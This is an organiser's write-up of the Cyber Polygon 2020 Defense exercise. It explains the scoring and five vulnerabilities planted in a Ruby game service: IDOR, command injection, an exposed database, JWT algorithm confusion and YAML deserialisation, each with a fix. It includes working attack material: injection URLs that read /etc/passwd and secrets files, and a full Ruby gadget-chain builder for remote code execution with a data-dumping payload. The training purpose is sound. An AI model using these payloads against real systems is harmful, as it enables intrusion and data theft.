navigation
Defense Scenario: Cyber Polygon 2020 Technical Exercise Write-up

On 8 July 2020, Cyber Polygon — an international online cybersecurity training — took place for the second time. The technical exercise was attended by 120 teams from some of the largest Russian and international organizations across 29 countries. Among the participants were: banks, telecom providers, energy suppliers, medical institutions, universities as well as government and law enforcement agencies.

The participants acting as blue teams had to defend their segments of the training infrastructure. The organizers (BI.ZONE) acted as the red team and simulated the cyberattacks.

The exercise included two scenarios: Defense and Response.

This article goes into details of the Defense scenario, where the participants had to repel an attack conducted by the red team, and covers the following topics:

  • basic game mechanics
  • infrastructure and game service provided to the participants
  • vulnerabilities embedded in the services
  • exploitation scenarios and attack detection methods
  • vulnerability remediation methods

Legend

According to the legend, the organization’s virtual infrastructure included a service which processed confidential client information. This service became the subject of interest to an APT group. Cybercriminals were going to steal confidential user data and then resell it on the Darknet in order to receive a financial benefit and cause damage to company reputation.

The APT group studied the target system in advance and discovered several critical vulnerabilities. The gang launched the attack on the day of the exercise.

The blue teams had to:

  • contain the attack as fast as possible
  • minimise the amount of information stolen
  • maintain the service availability

The participants could apply any available and familiar methods and tools to protect the infrastructure.


Core Mechanics

The team members who had participated in Attack-Defenсe CTF may have noticed some similarities between this format of cybersecurity competition and the scenario being described. However, during the Cyber Polygon training, the participants were not expected to attack each other — all they had to do was protect their own services.

This rule was introduced to ensure that all the participants were on an equal playing field and could focus on improving their defensive skills. Besides, it enabled a more objective assessment of the teams’ skills due to more accurate quantitative metrics.

The following indicators were used as metrics:

Health Points (HP). A simple numerical value. Every time when the red team successfully exploited a vulnerability in the blue team’s services and captured the flag, the blue team lost HP. The more vulnerabilities the red team was able to exploit, the more HP the team lost. HP was deducted once per round.

Service Level Agreement (SLA). In the context of this scenario, SLA indicated the integrity and accessibility of a service. It was measured as a percentage (0–100%). The defending team lost SLA points if the service was made unavailable or malfunctioned at the moment the checker contacted it. The checker could access any service several times per round, but each team’s services were checked an equal number of times. The resulting SLA was calculated as the percentage of successful checks (when the service was available and fully functional) to the total number of checks.

Checker is the mechanics that allowed the organizers to check if the teams’ services were fully functional. Since the game service simulated a real web application, the checker was also used to ensure compliance with the rules of the game: the participants could not simply turn off the service or disable some of its features, all they could do was defend their segments against red team attacks.

The final score for the scenarios was calculated as SLA * HP.

The participants were given 30 minutes for preparation, i.e. they were supposed to familiarise themselves with the service provided, roll out monitoring and defensive tools and start searching for vulnerabilities in the service code.

After the 30 minutes began the so-called ’active phase’ of the scenario: the red team started their attack. The active phase consisted of 18 rounds, 5 minutes each.

Before the start of the scenario, each team received 180 HP for each of the 5 vulnerabilities embedded in the service (900 HP in total). The team lost 10 HP for each vulnerability exploited. Thus, if the team had 3 vulnerabilities exploited during a round, it lost a total of 30 HP in this round, and if 5 vulnerabilities were exploited — 50 HP respectively.

Apart from controlling the availability of the teams’ services, the checker was used to deliver the so-called flag to the teams’ services at the beginning of each round (using legitimate service functions). Flag is a ‘Polygon{JWT}’ format string, where JWT stands for JSON Web Token.

In this scenario, the flag represented confidential data: the more flags the red team was able to steal, the more data was leaked. A stolen flag also meant the exploitation of a vulnerability: the team lost HP once the red team took advantage of a vulnerability and grabbed the flag.


Infrastructure and Game Service

Each participating team was provided with a virtual server running the Linux operating system.

After connecting via VPN, the participants got access to their server through SSH. The teams were granted full (root) access to their system.

The participants’ game service was available from the user’s home directory /home/cyberpolygon/ch4ng3org.

The game service backend was written in Ruby, while the frontend used the React JS framework. The database was managed by the PostgreSQL DBMS.

The service was designed to be rolled out on Docker, which was evident from its directory: for instance, it contained such files as Dockerfile and docker-compose.yml.

The participants had full access to the service’s source codes, configuration files and the database, and could use this information to search for and fix vulnerabilities in the service.


Vulnerabilities

Insecure Direct Object References

The vulnerability referred to as insecure direct object reference (IDOR) is caused by flaws in authorisation mechanisms. The vulnerability allows an attacker to gain access to otherwise inaccessible user data.

This vulnerability was present in the game service under the get method of the UsersController class.

backend/app/controllers/users_controller.rb:

>
def get
  user = User.find(params[:id])
  if params[:full].present?
    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: user.phone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

When calling the address http://example.com/api/users/<USER_ID>, where USER_ID is a numeric user identifier, any user could get a JSON object containing a numeric identifier and a username corresponding to that numeric identifier.

This functionality as such does not pose any threat to user data. You should rather focus on the following code snippet:

>
if params[:full].present?
  json_response({
    id: user.id,
    name: user.name,
    email: user.email,
    phone: user.phone
  })

Note that if the full parameter is transmitted in a request, the server response will return more data: in addition to the user ID and username, it will contain their email and phone number.

The flags were stored in and could be stolen from the user.phone field in the game service’s directory (this activity could be detected, for example, by analysing the network traffic). Each round, the checker created several users and saved the flag as one of such users’ phone number.

In order to take advantage of this weakness, the red team sent requests like http://example.com/api/users/<USER_ID>?full=1 to the service and searched for the flag in the phone field of the output JSON objects.

To protect against this vulnerability, it would be good practice to obscure sensitive data when displaying it to the user. Thus, the phone number +71112223344 can be shown as +7111*****44.

For example:

>
def get
  user = User.find(params[:id])
  if params[:full].present?
    # Masking user's phone number
    uphone = user.phone
    x = 5
    y = uphone.length - 3
    replacement = '*'*(y-x)
    uphone[x..y] = replacement

    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: uphone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

In this case, the red team would have got a line like Polyg********X} instead of the full flag value and the participating team could have avoided losing HP due to this vulnerability being exploited.


Command Injection

Command injection is the result of inadequate filtering of user data. This vulnerability enables an attacker to inject OS commands that are executed on the target system with the privileges of the vulnerable application.

In the game service, the vulnerability was present in the disk_stats method of the StatsController class.

backend/app/controllers/stats_controller.rb:


def disk_stats
  if params[:flags].present?
    flags = params[:flags]
  else
    flags = ''
  end

  json_response({
    disk: `df #{flags}`
  })
end

When calling the address http://example.com/api/disk_stats, the service responds with the output system df utility in the JSON object disk field, which allows to evaluate the amount of free space in the file system.

The command being called was designed to transmit various parameters, but their value is not filtered out:

>
if params[:flags].present?
  flags = params[:flags]
  
~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  json_response({
    disk: `df #{flags}`
  })

This means that a potential attacker can execute virtually any command in the system using special command-line syntax.

For example, by running a request http://example.com/api/disk_stats?flags=;cat /etc/passwd a threat actor will be able to read the contents of system file /etc/passwd.

This is how the red team exploited this weakness:

  1. By sending a request http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml, the attackers obtained the contents of the backend/config/secrets.yml file, which stored the private key for signing JWT tokens.
  2. Having obtained the private key, the red team could generate and sign a JWT token valid for any user. Given that the red team used the current private key of the service, this token would have been successfully validated and accepted by the application.
  3. By sending a request http://example.com/api/me on behalf of the user for whom the token was generated, the red team obtained the user’s phone number and checked it for a flag.

To protect against this vulnerability, a sufficient measure was to prohibit any parameters from being injected in the command call, as the overall system performance is not tied to this endpoint being used:


def disk_stats
  json_response({
    disk: `df`
  })
end

Security Misconfiguration

The vulnerability known as security misconfiguration is usually caused by a human factor. Standard application configurations are often not specifically geared towards security. Due to the lack of proactivity, attention or competence of responsible staff, these configurations sometimes remain unadapted to harsh realities which comes with significant security implications.

The game service had this vulnerability embedded in the db service description, in the docker-compose.yml file.

docker-compose.yml:


  db:
    image: postgres
    restart: always
    network_mode: bridge
    volumes:
      - ./db_data:/var/lib/postgresql/data
    ports:
      - 5432:5432
    environment:
      POSTGRES_DB: ch4ng3
      POSTGRES_USER: ch4ng3
      POSTGRES_PASSWORD: ch4ng3

As you can see, the network port of the database is available from the external network:


    ports:
      - 5432:5432

Besides, the database server uses one and the same line as a database name, username and password, which also matches the service ch4ng3.org.

Having detected the database port as a result of network scanning, the red team was able to brute-force the login and password to the database. It then executed an SQL statement below, which returned all user phone numbers with flags inside:


SELECT phone FROM users WHERE phone LIKE 'Polygon%'

To protect against this vulnerability, the ideal solution would have been to prohibit the database from being connected externally and to change the database user password (with the api service reconfigured accordingly):


  db:
    image: postgres
    restart: always
    network_mode: bridge
    volumes:
      - ./db_data:/var/lib/postgresql/data
    environment:
      POSTGRES_DB: ch4ng3
      POSTGRES_USER: ch4ng3
      POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    environment:
      - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable

However, one of the two actions would have sufficed: either changing the database user password to a stronger one or prohibiting database connections from the external network.


JWT Signature Algorithm Change

The next vulnerability buried in the game service related to JWT signature algorithm change.

It was present in the decode method of the JsonWebToken class.

backend/app/lib/json_web_token.rb:


def self.decode(token, algorithm)
  # cannot store key as ruby object in yaml file
  public_key = Rails.application.secrets.public_key_base
  if algorithm == 'RS256'
    public_key = OpenSSL::PKey::RSA.new(public_key)
  end
  # get payload; first index in decoded array
  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
  HashWithIndifferentAccess.new body
  # rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
  # raise custom error to be handled by custom handler
  raise ExceptionHandler::InvalidToken, e.message
end

The following lines deserve a closer look:


public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
  public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]

The application loads the line with the service public key from the configuration file and, where an RS256 algorithm has been transmitted in the token, converts that line to an RSA public key, which is further used to verify the token signature.

Note that if any other value is transmitted in the algorithm parameter, the public key line will not be converted. If the HS256 value is sent to the alg JWT field, the HMAC symmetric algorithm will be used for token signature verification, and exactly this public key line will be used as a key to verify the token signature.

This is how this weakness was exploited by the red team:

  1. By sending a request http://example.com/api/auth/third_party, the attackers received the service public key from the public_key field of the output JSON object.
  2. Having obtained the public key, the red team could generate a valid JWT token for any user by sending the HS256 value to the alg JWT field and signing the token, with the service public key line used as a secret for the HMAC algorithm.
  3. By sending a request http://example.com/api/me on behalf of the user for whom the token was generated, the red team obtained the user’s phone number and checked it for a flag.

To protect against this vulnerability, the following recommendation could have helped: when working with JWT, you better use only one signature algorithm at a time — either symmetric or asymmetric. Thus, the easiest fix would be:

backend/app/lib/json_web_token.rb:


def self.decode(token, algorithm)
  # cannot store key as ruby object in yaml file
  public_key = Rails.application.secrets.public_key_base
  if algorithm == 'RS256'
    public_key = OpenSSL::PKey::RSA.new(public_key)
  else
    raise ExceptionHandler::InvalidToken, Message.invalid_token
  end
  # get payload; first index in decoded array
  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
  HashWithIndifferentAccess.new body
  # rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
  # raise custom error to be handled by custom handler
  raise ExceptionHandler::InvalidToken, e.message
end

Now, if you send a value other than RS256 to the token’s alg field, the token will be marked as invalid and the red team will not be able to access the application on behalf of other users by signing tokens with the service public key.


YAML Insecure Deserialisation

The last vulnerability embedded in the game service was associated with YAML insecure deserialisation.

The import method of the PetitionsController class was responsible for importing petitions through their YAML-format description.

backend/app/controllers/petitions_controller.rb:


def import
  yaml = Base64.decode64(params[:petition])
  begin
    petition = YAML.load(yaml)
  rescue Psych::SyntaxError => e
    json_response({message: e.message}, 500)
    return
  rescue => e
    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
    return
  end
  if petition['created_at']
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
  else
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
  end
  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
  json_response(petition)
end

Particular attention should have been given to the following code lines:


yaml = Base64.decode64(params[:petition])
begin
  petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
  json_response({message: e.message}, 500)
  return

As you may have noticed, the contents of a YAML object are taken from the base64-coded petition parameter and then converted into Ruby objects using the YAML.load(yaml) structure.

This structure is insecure and allows, among other things, arbitrary Ruby code execution on the target system within the vulnerable application, which is what the red team did.

The following script was used to generate a YAML object to take advantage of this weakness:


require "erb"
require "base64"
require "active_support"

if ARGV.empty?
  puts "Usage: exploit_builder.rb <source_file>"
  exit!
end

erb = ERB.allocate
erb.instance_variable_set :@src, File.read(ARGV.first)
erb.instance_variable_set :@lineno, 1

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result

payload = Base64.encode64(Marshal.dump(depr))

puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
  - !ruby/object:Rack::Session::Abstract::SessionHash
      req: !ruby/object:Rack::Request
        env:
          rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
            loaded: true
          HTTP_COOKIE: "a=#{payload}"
      store: !ruby/object:Rack::Session::Cookie
        coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
        key: a
        secrets: []
      exists: true
PAYLOAD

The following code was applied as the payload:


phones = ''
User.all().each do |user|
  phones += user.phone + ';'
  end
raise phones   

The code received the phone numbers of all users registered with the service, combined them through (;) and applied the raise structure to cause an exception, sending the line with the users’ phone numbers as an error message.

The error message was then returned by the server to the JSON object message field together with the response code 500. Once the red team received this response, all it had to do was locate the flag in the error message.

To protect against this vulnerability, it was sufficient to replace the call of the YAML.load(yaml) function with the call of the YAML.safe_load(yaml) function. However, during the availability check, the checker verified that the transmitted YAML object allowed for aliases to be applied. Hence, the resulting structure is represented as follows: YAML.safe_load(yaml, aliases: true).

And the resulting secure function accordingly:


def import
  yaml = Base64.decode64(params[:petition])
  begin
    petition = YAML.safe_load(yaml, aliases: true)
  rescue Psych::SyntaxError => e
    json_response({message: e.message}, 500)
    return
  rescue => e
    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
    return
  end
  if petition['created_at']
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
  else
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
  end
  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
  json_response(petition)
end

Conclusion

In our article, we explored the vulnerabilities implanted in Cyber Polygon’s Defense scenario game service, analysed the applied exploitation scenarios and gave examples of remediation that would have allowed the participants to protect their services against the red team.

We would use the patch methods from the examples in a real-life situation. However, you should keep in mind that these are not the only possible effective methods.

The scenario assumed that the participants would be able to defend themselves without having to patch the code in their game services. For example, to protect against the third vulnerability — security misconfiguration, which is associated with an insecure Docker configuration, it was sufficient to block the database port on the firewall.

However, we believe that the best solution is to remediate the flaws in services and applications rather than resorting to ’palliative’ measures, which sooner or later may not be sufficient to withstand an attack. This is why we examined in detail the source code corrections as a means to protect against vulnerabilities.

We hope that you have found the exercise useful and insightful, and look forward to seeing you at the next Cyber Polygon events.